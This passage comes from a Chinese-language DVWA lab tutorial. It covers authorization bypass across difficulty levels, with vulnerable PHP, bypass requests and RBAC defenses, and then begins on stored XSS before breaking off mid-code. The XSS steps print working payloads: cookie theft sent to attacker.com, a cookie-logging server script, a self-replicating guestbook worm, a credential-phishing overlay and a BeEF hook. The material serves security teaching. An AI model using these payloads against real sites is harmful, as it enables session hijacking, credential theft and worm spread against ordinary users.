data = {
'user_id': user_id,
'username': f'hacked_{user_id}',
'update': 'Update'
}

response = requests.post(url, data=data, cookies=cookies)

if 'updated successfully' in response.text:
print(f"[+] Modified user {user_id}")
else:
print(f"[-] Failed to modify user {user_id}")

步骤4:查找隐藏的管理功能

目录枚举:

1
2
3
4
5
6
7
8
9
10
11
12
# 使用dirbuster或gobuster
gobuster dir -u http://dvwa.local/vulnerabilities/authbypass/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-c "security=low; PHPSESSID=your_session"

# 常见管理路径
/admin
/administrator
/admin.php
/manage
/panel
/dashboard

功能枚举:

1
2
3
4
5
6
尝试不同的action参数:
?action=delete
?action=update
?action=view
?action=export
?action=backup

Medium 难度

攻击目标

使用Referer检查,但可以伪造。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php

// 获取当前用户
$currentUser = dvwaCurrentUser();

if (!$currentUser) {
header("Location: login.php");
exit;
}

// ★★★ 新增:检查Referer头 ★★★
// $_SERVER['HTTP_REFERER'] - HTTP Referer头
// 作用:检查请求是否来自本站
//
// 问题:
// 1. Referer可以被伪造
// 2. 某些浏览器/代理可能不发送Referer
// 3. 这不是可靠的安全检查
if (isset($_SERVER['HTTP_REFERER'])) {
$referer = $_SERVER['HTTP_REFERER'];

// ★★★ 检查Referer是否包含当前域名 ★★★
// strpos() - 查找字符串位置
// $_SERVER['HTTP_HOST'] - 当前域名
//
// 例如:
// Referer: http://dvwa.local/vulnerabilities/authbypass/index.php
// HTTP_HOST: dvwa.local
// strpos() 找到 "dvwa.local" → 通过检查
if (strpos($referer, $_SERVER['HTTP_HOST']) === false) {
// Referer不包含当前域名,拒绝
echo "<pre>Access denied: Invalid referer</pre>";
exit;
}
} else {
// ★★★ 问题:没有Referer也拒绝 ★★★
// 某些情况下,合法用户的浏览器可能不发送Referer
echo "<pre>Access denied: No referer</pre>";
exit;
}

// ★★★ 新增:简单的角色检查 ★★★
// 检查用户是否有admin_role权限
// 但这个检查有漏洞
function isAdmin($username) {
// 从数据库查询用户角色
$query = "SELECT * FROM users WHERE user = '$username'";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

if ($result && mysqli_num_rows($result) > 0) {
$user = mysqli_fetch_assoc($result);

// ★★★ 问题:角色信息存储在客户端可见的字段 ★★★
// 如果avatar或其他字段包含"admin"字符串,就认为是管理员
// 这是非常弱的检查
if (strpos($user['avatar'], 'admin') !== false) {
return true;
}
}

return false;
}

// 获取用户ID
$userId = $_GET['id'];

// ★★★ 改进:检查用户权限 ★★★
// 但检查逻辑有漏洞
if (!isAdmin($currentUser)) {
// ★★★ 问题:只检查是否是管理员,不检查是否查看自己的数据 ★★★
// 非管理员应该只能查看自己的数据,但这里没有检查
echo "<pre>Access denied: Admin only</pre>";
exit;
}

// 后续操作...
// 查询、删除、修改用户
// ...

?>

新增防护

  1. Referer检查 - 验证请求来源
  2. 角色检查 - 判断是否是管理员
  3. 拒绝无Referer的请求

仍存在的漏洞

核心问题:

  1. Referer可伪造 - 这不是可靠的安全措施
  2. 角色检查逻辑弱 - 基于avatar字段判断
  3. 没有检查资源所有权 - 管理员检查不够
  4. Session劫持 - 如果获取管理员Session,可以绕过

绕过方法

方法1:伪造Referer头

使用Burp Suite:

1
2
3
4
5
6
GET /vulnerabilities/authbypass/?id=2 HTTP/1.1
Host: dvwa.local
Referer: http://dvwa.local/vulnerabilities/authbypass/index.php
Cookie: security=medium; PHPSESSID=your_session

结果:通过Referer检查

使用curl:

1
2
3
curl -X GET "http://dvwa.local/vulnerabilities/authbypass/?id=2" \
-H "Referer: http://dvwa.local/vulnerabilities/authbypass/" \
-H "Cookie: security=medium; PHPSESSID=your_session"

使用Python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "http://dvwa.local/vulnerabilities/authbypass/"
headers = {
'Referer': 'http://dvwa.local/vulnerabilities/authbypass/index.php'
}
cookies = {
'security': 'medium',
'PHPSESSID': 'your_session'
}

params = {'id': 2}

response = requests.get(url, params=params, headers=headers, cookies=cookies)

if 'User ID:' in response.text:
print("[+] Bypassed referer check!")
print(response.text)

方法2:利用角色检查漏洞

如果avatar字段可修改:

1
2
3
4
5
6
7
8
9
10
# 1. 修改自己的avatar包含"admin"字符串
data = {
'user_id': 5, # 当前用户ID
'avatar': 'images/admin_avatar.jpg', # 包含"admin"
'update': 'Update'
}

requests.post(url, data=data, headers=headers, cookies=cookies)

# 2. 现在被识别为管理员,可以访问所有功能

方法3:会话固定/劫持

1
2
3
1. 获取管理员的Session ID(通过XSS、网络嗅探等)
2. 使用管理员的Session访问
3. 绕过所有权限检查

High 难度

攻击目标

使用Anti-CSRF Token,但仍有逻辑漏洞。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php

// 获取当前用户
$currentUser = dvwaCurrentUser();

if (!$currentUser) {
header("Location: login.php");
exit;
}

// ★★★ 新增:Anti-CSRF Token验证 ★★★
// 检查是否提交了表单
if ($_SERVER['REQUEST_METHOD'] == 'POST') {

// ★★★ 验证CSRF Token ★★★
// 从POST数据获取token
$userToken = $_POST['user_token'] ?? '';
// 从Session获取token
$sessionToken = $_SESSION['session_token'] ?? '';

// checkToken() - 验证CSRF token
// 参数1:用户提交的token
// 参数2:Session中的token
// 参数3:失败后重定向的页面
if (!checkToken($userToken, $sessionToken, 'index.php')) {
echo "<pre>CSRF token validation failed</pre>";
exit;
}
}

// ★★★ 改进:基于数据库的角色检查 ★★★
function getUserRole($username) {
// 从数据库查询用户角色
// 假设users表有role字段:'admin' 或 'user'
$query = "SELECT role FROM users WHERE user = ?";
$stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query);
mysqli_stmt_bind_param($stmt, 's', $username);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

if ($result && mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
return $row['role'];
}

return 'user'; // 默认为普通用户
}

// 检查用户角色
$userRole = getUserRole($currentUser);

// 获取要访问的用户ID
$userId = $_GET['id'] ?? 0;

// ★★★ 改进:根据角色限制访问 ★★★
if ($userRole != 'admin') {
// ★★★ 问题:虽然检查了角色,但逻辑仍有漏洞 ★★★
// 非管理员只能访问自己的数据
// 但没有正确验证$userId是否是当前用户

// 获取当前用户的ID
$currentUserId = getCurrentUserId($currentUser);

// ★★★ 逻辑漏洞:类型比较 ★★★
// $_GET['id']是字符串,$currentUserId是整数
// 如果使用==而不是===,可能被绕过
if ($userId != $currentUserId) {
echo "<pre>Access denied: You can only view your own data</pre>";
exit;
}
}

// ★★★ 管理员可以访问所有用户数据 ★★★
if ($userRole == 'admin') {
// 管理员权限:查看、修改、删除任何用户
}

// 查询用户信息
$query = "SELECT * FROM users WHERE user_id = ?";
$stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query);
mysqli_stmt_bind_param($stmt, 'i', $userId);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

if ($result && mysqli_num_rows($result) > 0) {
$user = mysqli_fetch_assoc($result);

// 显示用户信息
echo "<h2>User Information</h2>";
echo "<p>User ID: " . htmlspecialchars($user['user_id']) . "</p>";
echo "<p>Username: " . htmlspecialchars($user['user']) . "</p>";
// ★★★ 改进:不再显示密码哈希 ★★★
}

// 生成新的CSRF token
generateSessionToken();

?>

新增防护

  1. Anti-CSRF Token - 防止跨站请求伪造
  2. 基于数据库的角色 - 从数据库读取用户角色
  3. 资源所有权检查 - 验证用户是否可以访问该资源
  4. 使用预编译语句 - 防止SQL注入

仍存在的漏洞

核心问题:

  1. 类型比较漏洞 - 使用!=而不是!==
  2. 参数篡改 - 可以尝试各种输入绕过检查
  3. 逻辑漏洞 - 某些边界情况未考虑

绕过方法

方法1:类型混淆绕过

1
2
3
4
5
6
7
// 代码中:
if ($userId != $currentUserId) {
// 拒绝访问
}

// 问题:$userId是字符串,$currentUserId是整数
// PHP的弱类型比较可能导致绕过

测试:

1
2
3
4
5
6
7
当前用户ID: 5

尝试:
?id=5 → 通过(相等)
?id=5.0 → 可能通过(5 != 5.0 is false
?id=5e0 → 可能通过(科学计数法)
?id=05 → 可能通过(前导零)

方法2:参数污染

1
2
3
4
5
?id=5&id=2

某些服务器配置下,可能导致:
- 第一个id用于检查(通过)
- 第二个id用于查询(访问user_id=2

方法3:会话固定

1
2
3
1. 创建新账户(普通用户)
2. 修改数据库,将角色改为admin(如果有SQL注入)
3. 或窃取管理员Session

Impossible 难度

攻击目标

完善的权限检查,真正安全。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
<?php

// ★★★ Impossible: 完善的权限管理 ★★★

// 获取当前用户
$currentUser = dvwaCurrentUser();

if (!$currentUser) {
// 未登录,重定向
header("Location: login.php");
exit;
}

// ★★★ 核心防护1:验证CSRF Token ★★★
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
checkToken(
$_REQUEST['user_token'],
$_SESSION['session_token'],
'index.php'
);
}

// ★★★ 核心防护2:完善的权限检查类 ★★★
class Authorization {

// 获取用户角色
public static function getUserRole($username) {
global $db; // PDO连接

// ★★★ 使用PDO预编译 ★★★
$stmt = $db->prepare('SELECT role FROM users WHERE user = :username');
$stmt->bindParam(':username', $username, PDO::PARAM_STR);
$stmt->execute();

$result = $stmt->fetch(PDO::FETCH_ASSOC);

return $result ? $result['role'] : 'user';
}

// 获取用户ID
public static function getUserId($username) {
global $db;

$stmt = $db->prepare('SELECT user_id FROM users WHERE user = :username');
$stmt->bindParam(':username', $username, PDO::PARAM_STR);
$stmt->execute();

$result = $stmt->fetch(PDO::FETCH_ASSOC);

return $result ? $result['user_id'] : 0;
}

// ★★★ 核心方法:检查是否可以访问用户 ★★★
public static function canAccessUser($currentUser, $targetUserId) {
// 获取当前用户角色
$role = self::getUserRole($currentUser);

// ★★★ 管理员可以访问所有用户 ★★★
if ($role === 'admin') {
return true;
}

// ★★★ 普通用户只能访问自己 ★★★
$currentUserId = self::getUserId($currentUser);

// ★★★ 使用严格比较(===) ★★★
// 防止类型混淆攻击
return (int)$targetUserId === (int)$currentUserId;
}

// ★★★ 核心方法:检查是否可以修改用户 ★★★
public static function canModifyUser($currentUser, $targetUserId) {
// 获取角色
$role = self::getUserRole($currentUser);

// ★★★ 只有管理员可以修改其他用户 ★★★
if ($role === 'admin') {
return true;
}

// ★★★ 普通用户只能修改自己 ★★★
$currentUserId = self::getUserId($currentUser);

return (int)$targetUserId === (int)$currentUserId;
}

// ★★★ 核心方法:检查是否可以删除用户 ★★★
public static function canDeleteUser($currentUser, $targetUserId) {
// 获取角色
$role = self::getUserRole($currentUser);

// ★★★ 只有管理员可以删除用户 ★★★
if ($role !== 'admin') {
return false;
}

// ★★★ 管理员不能删除自己 ★★★
$currentUserId = self::getUserId($currentUser);

if ((int)$targetUserId === (int)$currentUserId) {
return false;
}

return true;
}
}

// ★★★ 获取并验证用户ID ★★★
$userId = $_GET['id'] ?? 0;

// ★★★ 输入验证 ★★★
if (!is_numeric($userId) || $userId <= 0) {
echo "<pre>Invalid user ID</pre>";
exit;
}

// ★★★ 权限检查:是否可以访问该用户 ★★★
if (!Authorization::canAccessUser($currentUser, $userId)) {
echo "<pre>Access denied: You don't have permission to view this user</pre>";

// ★★★ 记录未授权访问尝试 ★★★
logSecurityEvent('Unauthorized access attempt', [
'user' => $currentUser,
'target_user_id' => $userId,
'ip' => $_SERVER['REMOTE_ADDR'],
'timestamp' => date('Y-m-d H:i:s')
]);

exit;
}

// ★★★ 安全地查询用户信息 ★★★
$stmt = $db->prepare('SELECT user_id, user, first_name, last_name, avatar FROM users WHERE user_id = :id');
$stmt->bindParam(':id', $userId, PDO::PARAM_INT);
$stmt->execute();

$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user) {
// ★★★ 安全地显示信息 ★★★
// 使用htmlspecialchars()防止XSS
echo "<h2>User Information</h2>";
echo "<p>User ID: " . htmlspecialchars($user['user_id']) . "</p>";
echo "<p>Username: " . htmlspecialchars($user['user']) . "</p>";
echo "<p>First Name: " . htmlspecialchars($user['first_name']) . "</p>";
echo "<p>Last Name: " . htmlspecialchars($user['last_name']) . "</p>";

// ★★★ 不显示密码哈希 ★★★
} else {
echo "<pre>User not found</pre>";
}

// ★★★ 处理修改请求 ★★★
if (isset($_POST['update'])) {
$updateUserId = $_POST['user_id'];

// ★★★ 权限检查:是否可以修改该用户 ★★★
if (!Authorization::canModifyUser($currentUser, $updateUserId)) {
echo "<pre>Access denied: You don't have permission to modify this user</pre>";

logSecurityEvent('Unauthorized modify attempt', [
'user' => $currentUser,
'target_user_id' => $updateUserId,
'ip' => $_SERVER['REMOTE_ADDR']
]);

exit;
}

// 执行修改...
// 使用PDO预编译语句
}

// ★★★ 处理删除请求 ★★★
if (isset($_POST['delete'])) {
$deleteUserId = $_POST['delete_id'];

// ★★★ 权限检查:是否可以删除该用户 ★★★
if (!Authorization::canDeleteUser($currentUser, $deleteUserId)) {
echo "<pre>Access denied: You don't have permission to delete this user</pre>";

logSecurityEvent('Unauthorized delete attempt', [
'user' => $currentUser,
'target_user_id' => $deleteUserId,
'ip' => $_SERVER['REMOTE_ADDR']
]);

exit;
}

// 执行删除...
}

// 生成新的CSRF token
generateSessionToken();

?>

完善的防护机制

多层防御:

  1. 认证检查 - 验证用户是否登录
  2. CSRF Token - 防止跨站请求伪造
  3. 角色验证 - 从数据库读取真实角色
  4. 资源所有权 - 验证是否有权访问该资源
  5. 操作权限 - 不同操作有不同的权限要求
  6. 输入验证 - 验证所有输入参数
  7. PDO预编译 - 防止SQL注入
  8. 输出编码 - htmlspecialchars()防XSS
  9. 审计日志 - 记录所有未授权访问尝试
  10. 严格类型比较 - 使用===防止类型混淆

权限检查流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
用户请求访问user_id=2

1. 检查是否登录 → 未登录则拒绝

2. 验证CSRF Token → 无效则拒绝

3. 验证输入参数 → 无效则拒绝

4. 查询当前用户角色 → 从数据库

5. 检查权限:
- 管理员?→ 允许
- 访问自己?→ 允许
- 其他?→ 拒绝

6. 记录访问日志

7. 执行操作

为什么无法攻破?

所有攻击都被阻止:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
攻击1:?id=2(越权访问)
权限检查 → 不是管理员 && 不是自己 → 拒绝
日志记录 → 记录未授权尝试

攻击2:伪造Referer
不依赖Referer → 使用CSRF Token → 无效

攻击3:类型混淆(?id=2.0)
强制类型转换 (int)$userId → 2
严格比较 === → 正确验证

攻击4:参数污染(?id=5&id=2)
只取第一个参数 → 正常处理

攻击5:会话劫持
即使获取Session,仍需通过权限检查

攻击6:修改数据库角色
从数据库读取角色 → 如果能修改数据库,已经完全控制系统

关键防御点:

  1. 基于角色的访问控制(RBAC) - 明确的角色和权限
  2. 资源所有权验证 - 每次都检查
  3. 最小权限原则 - 只给必要的权限
  4. 审计和监控 - 记录所有访问
  5. 深度防御 - 多层验证

防御建议

架构层面

1. 实施RBAC(基于角色的访问控制)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 定义角色和权限
class Permission {
const VIEW_OWN_DATA = 'view_own_data';
const VIEW_ALL_DATA = 'view_all_data';
const MODIFY_OWN_DATA = 'modify_own_data';
const MODIFY_ALL_DATA = 'modify_all_data';
const DELETE_USERS = 'delete_users';
}

class Role {
private $permissions = [];

public function addPermission($permission) {
$this->permissions[] = $permission;
}

public function hasPermission($permission) {
return in_array($permission, $this->permissions);
}
}

// 定义角色
$adminRole = new Role();
$adminRole->addPermission(Permission::VIEW_ALL_DATA);
$adminRole->addPermission(Permission::MODIFY_ALL_DATA);
$adminRole->addPermission(Permission::DELETE_USERS);

$userRole = new Role();
$userRole->addPermission(Permission::VIEW_OWN_DATA);
$userRole->addPermission(Permission::MODIFY_OWN_DATA);

// 检查权限
if (!$currentRole->hasPermission(Permission::VIEW_ALL_DATA)) {
die('Access denied');
}

2. 集中的权限检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 中间件/拦截器
class AuthMiddleware {
public static function checkPermission($requiredPermission) {
$currentUser = getCurrentUser();

if (!$currentUser) {
http_response_code(401);
die('Unauthorized');
}

$role = getUserRole($currentUser);

if (!$role->hasPermission($requiredPermission)) {
http_response_code(403);
logUnauthorizedAccess($currentUser, $requiredPermission);
die('Forbidden');
}
}
}

// 使用
AuthMiddleware::checkPermission(Permission::DELETE_USERS);

代码层面

1. 每个操作都验证权限

1
2
3
4
5
6
7
8
9
10
11
12
13
// ❌ 错误:只在前端隐藏按钮
if ($role == 'admin') {
echo '<button onclick="deleteUser()">Delete</button>';
}

// ✅ 正确:在后端验证
function deleteUser($userId) {
if (!hasPermission('delete_users')) {
throw new UnauthorizedException();
}

// 执行删除
}

2. 验证资源所有权

1
2
3
4
5
6
7
8
9
10
11
// 查看用户资料
function viewProfile($userId) {
$currentUserId = getCurrentUserId();

// 检查:是管理员 或 是用户本人
if (!isAdmin() && $currentUserId !== $userId) {
throw new ForbiddenException();
}

// 查询并返回
}

3. 使用白名单

1
2
3
4
5
6
7
8
// 允许的操作列表
$allowedActions = ['view', 'edit', 'delete'];

$action = $_GET['action'];

if (!in_array($action, $allowedActions)) {
die('Invalid action');
}

4. 防止参数篡改

1
2
3
4
5
6
7
// ❌ 危险:从用户输入获取角色
$role = $_POST['role'];

// ✅ 安全:从服务器端Session/数据库获取
$role = $_SESSION['user_role'];
// 或
$role = getUserRoleFromDatabase($_SESSION['user_id']);

监控层面

1. 记录所有授权失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function logAuthorizationFailure($user, $action, $resource) {
$log = [
'timestamp' => date('Y-m-d H:i:s'),
'user' => $user,
'action' => $action,
'resource' => $resource,
'ip' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT']
];

// 写入日志
file_put_contents(
'/var/log/security/authz_failures.log',
json_encode($log) . "\n",
FILE_APPEND
);

// 如果失败次数过多,触发警报
if (countRecentFailures($user) > 10) {
alertSecurity("Possible privilege escalation attempt by $user");
}
}

2. 异常行为检测

1
2
3
4
5
6
7
8
9
10
11
12
13
// 检测异常访问模式
function detectAnomalousAccess($userId, $accessedUserId) {
// 用户A频繁尝试访问不同用户
$recentAccesses = getRecentAccesses($userId, 3600); // 过去1小时

$uniqueTargets = array_unique($recentAccesses);

if (count($uniqueTargets) > 20) {
// 可能在枚举用户
alertSecurity("User $userId is accessing too many different users");
lockAccount($userId, 3600);
}
}

框架层面

Laravel示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 定义策略
class UserPolicy {
public function view(User $currentUser, User $user) {
// 管理员可以查看所有用户
if ($currentUser->isAdmin()) {
return true;
}

// 用户只能查看自己
return $currentUser->id === $user->id;
}

public function update(User $currentUser, User $user) {
return $currentUser->isAdmin() || $currentUser->id === $user->id;
}

public function delete(User $currentUser, User $user) {
// 只有管理员可以删除
// 且不能删除自己
return $currentUser->isAdmin() && $currentUser->id !== $user->id;
}
}

// 在控制器中使用
public function show(User $user) {
$this->authorize('view', $user);

return view('users.show', compact('user'));
}

使用中间件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 定义中间件
class AdminMiddleware {
public function handle($request, $next) {
if (!auth()->user()->isAdmin()) {
abort(403, 'Forbidden');
}

return $next($request);
}
}

// 路由中使用
Route::middleware(['auth', 'admin'])->group(function () {
Route::get('/admin/users', 'AdminController@users');
Route::delete('/admin/users/{id}', 'AdminController@deleteUser');
});

总结对比

特性 Low Medium High Impossible
认证检查
授权检查 弱Referer检查 角色检查 完善检查
资源所有权 弱验证 ✅ 严格验证
CSRF防护
角色管理 弱角色检查 数据库角色 RBAC
输入验证
审计日志
类型安全 == ===
攻击难度 极易 简单 中等 极难

常见攻击向量

1. 直接对象引用(IDOR)

1
2
正常:/user/profile?id=123(自己的ID)
攻击:/user/profile?id=456(他人的ID)

2. 参数污染

1
2
/admin?role=admin&user_id=5
/api/users/5?admin=true

3. 路径遍历

1
2
/../../admin/panel
/admin/%2e%2e/panel

4. HTTP方法绕过

1
2
GET /admin403 Forbidden
POST /admin200 OK(如果只检查GET

实战建议

渗透测试清单:

  1. ✅ 枚举所有功能和端点
  2. ✅ 测试水平越权(访问其他用户数据)
  3. ✅ 测试垂直越权(访问管理员功能)
  4. ✅ 修改用户ID/角色参数
  5. ✅ 测试IDOR漏洞
  6. ✅ 尝试不同HTTP方法
  7. ✅ 检查隐藏的管理功能

防御清单:

  1. ✅ 实施RBAC
  2. ✅ 每个操作都验证权限
  3. ✅ 验证资源所有权
  4. ✅ 使用CSRF Token
  5. ✅ 记录所有授权失败
  6. ✅ 最小权限原则
  7. ✅ 定期审计权限

道德准则:

  • 只在授权环境测试
  • 不越权访问真实用户数据
  • 学习是为了构建安全的访问控制

目录


漏洞简介

什么是存储型XSS(Stored Cross-Site Scripting)?

存储型XSS也称为持久化XSS,攻击者将恶意脚本存储在服务器端(数据库、文件等),当其他用户访问包含恶意数据的页面时,脚本会自动执行。

攻击流程:

  1. 攻击者提交恶意脚本到服务器
  2. 服务器将恶意脚本存储到数据库
  3. 其他用户访问页面
  4. 服务器从数据库读取恶意脚本并输出
  5. 用户浏览器执行恶意脚本

危害:

  • 持久化攻击(一次注入,多次触发)
  • 影响所有访问用户
  • 蠕虫传播(自我复制)
  • 窃取管理员Cookie
  • 网站挂马
  • 完全控制用户会话

与反射型XSS的区别:

  • 反射型:一次性,需要用户点击链接
  • 存储型:持久化,所有访问用户都会中招

DVWA场景:
留言板(Guestbook),用户可以提交姓名和留言。


Low 难度

攻击目标

完全未过滤的留言板,恶意脚本永久存储。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

// 检查是否提交了留言表单
// isset() - 检查变量是否存在且非NULL
if( isset( $_POST[ 'btnSign' ] ) ) {

// ★★★ 危险操作:直接获取用户输入,无任何过滤 ★★★
// $_POST - 从POST请求体获取数据
// trim() - 只是去除首尾空格,不做任何安全处理
// mysql_real_escape_string() - 只防SQL注入,不防XSS!
//
// 问题:mysql_real_escape_string只转义SQL特殊字符
// 不转义HTML特殊字符<>,所以XSS payload可以正常存储
$name = trim( $_POST[ 'txtName' ] );
$message = trim( $_POST[ 'mtxMessage' ] );

// 对SQL特殊字符转义(防SQL注入)
// 但不防止XSS攻击!
$name = mysql_real_escape_string( $name );
$message = mysql_real_escape_string( $message );

// ★★★ 将用户输入直接插入数据库 ★★★
// INSERT INTO - SQL插入语句
// guestbook - 留言板表
// name, comment - 字段名
// 恶意脚本被原封不动地存储到数据库
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

// 执行SQL插入
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

// 显示成功消息
// header() - 设置HTTP响应头
// Location - 重定向到指定URL
//mysql_close();
}

?>

显示留言的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

// ★★★ 从数据库读取并显示留言 ★★★
// SELECT - SQL查询语句
// guestbook - 留言板表
$query = "SELECT * FROM guestbook";

// 执行查询
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

// 遍历所有留言
// mysql_fetch_assoc() - 获取结果行作为关联数组
while( $row = mysql_fetch_assoc( $result ) ) {

// ★★★ 危险操作:直接输出数据库内容,无任何编码 ★★★
// $row[ 'comment' ] - 留言内容(可能包含恶意脚本)
// $row[ 'name' ] - 姓名(可能包含恶意脚本)
//
// 问题:直接输出,浏览器会执行其中的脚本!
echo "<div class='comment'>";
echo "<div class='name'>" . $row[ 'name' ] . "</div>";
echo "<div class='message'>" . $row[ 'comment' ] . "</div>";
echo "</div>";
}

// 关闭数据库连接
mysql_close();

?>

漏洞分析

存储流程:

1
用户输入 → trim() → mysql_real_escape_string() → 存入数据库

输出流程:

1
数据库 → 直接输出 → 浏览器执行

核心问题:

  1. mysql_real_escape_string()不防XSS - 只转义'"\等SQL字符
  2. 不转义HTML字符 - <>&等直接存储
  3. 输出时无编码 - 直接echo数据库内容
  4. 永久存储 - 恶意脚本一直存在,所有访问者都会执行

攻击步骤

步骤1:基础XSS攻击

攻击1:在Name字段注入

1
2
3
4
5
6
7
8
9
<!-- 姓名输入 -->
<script>alert('XSS')</script>

<!-- 留言输入 -->
Normal message

<!-- 提交后 -->
数据库存储:name = '<script>alert('XSS')</script>'
每次有人访问留言板,都会弹出XSS对话框

攻击2:在Message字段注入

1
2
3
4
5
6
7
8
<!-- 姓名输入 -->
Alice

<!-- 留言输入 -->
<script>alert(document.cookie)</script>

<!-- 结果 -->
所有访问者都会看到自己的Cookie

步骤2:窃取所有用户Cookie

1
2
3
4
5
6
7
8
9
<!-- 留言内容 -->
<script>
// 将Cookie发送到攻击者服务器
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>

<!-- 或更隐蔽的方式 -->
<img src=x onerror="this.src='http://attacker.com/?c='+document.cookie">

攻击者服务器(steal.php):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// 记录所有访问者的Cookie
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$time = date('Y-m-d H:i:s');

$log = fopen('stolen_cookies.txt', 'a');
fwrite($log, "$time - $ip - $cookie\n");
fclose($log);

// 返回1x1透明图片(不让用户发现)
header('Content-Type: image/png');
echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');
?>

步骤3:XSS蠕虫(自我复制)

1
2
3
4
5
6
7
8
9
10
11
12
<script>
// 读取自己的恶意代码
var payload = document.querySelector('.comment .message').innerHTML;

// 自动提交留言表单,复制自己
var xhr = new XMLHttpRequest();
xhr.open('POST', '/dvwa/vulnerabilities/xss_s/', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('txtName=Worm&mtxMessage=' + encodeURIComponent(payload) + '&btnSign=Sign+Guestbook');
</script>

<!-- 结果:每个访问者都会自动发布一条相同的恶意留言 -->

步骤4:钓鱼攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
// 覆盖整个页面内容
document.body.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:99999;">
<div style="max-width:400px;margin:100px auto;padding:20px;border:1px solid #ccc;">
<h2>Session Expired</h2>
<p>Please login again to continue:</p>
<form action="http://attacker.com/phish.php" method="POST">
<input type="text" name="user" placeholder="Username" style="width:100%;padding:10px;margin:10px 0;">
<input type="password" name="pass" placeholder="Password" style="width:100%;padding:10px;margin:10px 0;">
<button type="submit" style="width:100%;padding:10px;background:#007bff;color:white;border:none;">Login</button>
</form>
</div>
</div>
`;
</script>

步骤5:BeEF挂钩(控制浏览器)

1
2
3
4
5
6
7
8
9
10
11
<!-- 在留言中插入BeEF钩子 -->
<script src="http://attacker.com:3000/hook.js"></script>

<!-- 所有访问留言板的用户浏览器都会被BeEF控制 -->
<!-- 攻击者可以: -->
<!-- - 查看浏览器信息 -->
<!-- - 键盘记录 -->
<!-- - 截屏 -->
<!-- - 获取摄像头 -->
<!-- - 端口扫描 -->
<!-- - 社会工程学攻击 -->

Medium 难度

攻击目标

添加了简单的过滤,但可以绕过。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {

// 获取用户输入
$name = trim( $_POST[ 'txtName' ] );
$message = trim( $_POST[ 'mtxMessage' ] );

// ★★★ 新增:使用strip_tags()移除HTML标签 ★★★
// strip_tags() - 从字符串中去除HTML和PHP标签
// 参数1:要处理的字符串
// 参数2:允许的标签(可选,这里未指定,移除所有标签)
// 返回值:移除标签后的字符串
//
// 作用:移除<script>、<img>等所有HTML标签
// 例如:<script>alert(1)</script> → alert(1)
$name = strip_tags( addslashes( $name ) );

